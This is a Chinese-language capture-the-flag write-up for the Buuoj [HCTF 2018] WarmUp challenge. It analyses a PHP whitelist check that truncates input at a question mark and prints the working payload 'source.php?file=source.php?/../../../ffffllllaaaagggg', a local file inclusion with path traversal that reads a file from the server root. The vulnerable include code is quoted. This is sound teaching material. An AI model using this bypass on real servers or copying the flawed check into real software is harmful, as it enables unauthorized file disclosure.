审计源码可以看到html中的提示:source.php
访问source.php得到如下代码:
从source.php中可以初步看到下一步的提示为hint.php:
hint.php中提示flag在ffffllllaaaagggg中,一般情况下这个文件存储在linux服务器的根目录下,需要去获得其内容。
这时就需要分析source.php中的代码加以利用而得到flag。
我们来逐步分析一下source.php的代码:
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; }
这段代码的意思是source.php接收一个file参数,当file这个参数满足以下三个条件时返回file指定的文件,否则输出一张图片。
- file参数不为空
- file参数是一个string类型
- file参数能够通过checkFile的检验
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
设定后续检查用到的白名单。
if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
如果file不存在或非字符串,输出"you can't see it"并返回false。
if (in_array($page, $whitelist)) { return true; }
如果file参数在白名单中,返回true。访问 source.php?file=source.php 可以看到输出了两次页面源码,证明在这里返回了true。
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
这段代码在 $_page = urldecode($page); 上下的部分都是完全一样的,只是为了防止用户传参时符号被urlencode而无法解析。
它的作用是在用户传的file中,从开始截取到第一个问号处(不含问号),如果file中不存在问号,就在file后加一个。
将截取后的字符串再与白名单做对比,如果可以就返回true。
可以通过访问 source.php?file=source.php? 来进行验证,这时可以看到页面源码只输出了一次,但并没有输出"you can't see it",证明在检验中通过了,但source.php?这个文件是不存在的,所以并没有其他的输出。
我们就可以利用这里来访问到根目录下的ffffllllaaaagggg。
构造如下:
source.php?file=source.php?/../../../../../../../../../ffffllllaaaagggg
在source.php?后加一个/,这时source.php会被视为一个文件夹,后面每一级的..意为上一层文件夹,通过不断尝试加入../最后可以知道具体的目录层级,以访问到ffffllllaaaagggg。
Buuoj [HCTF 2018]WarmUp 1:等您坐沙发呢!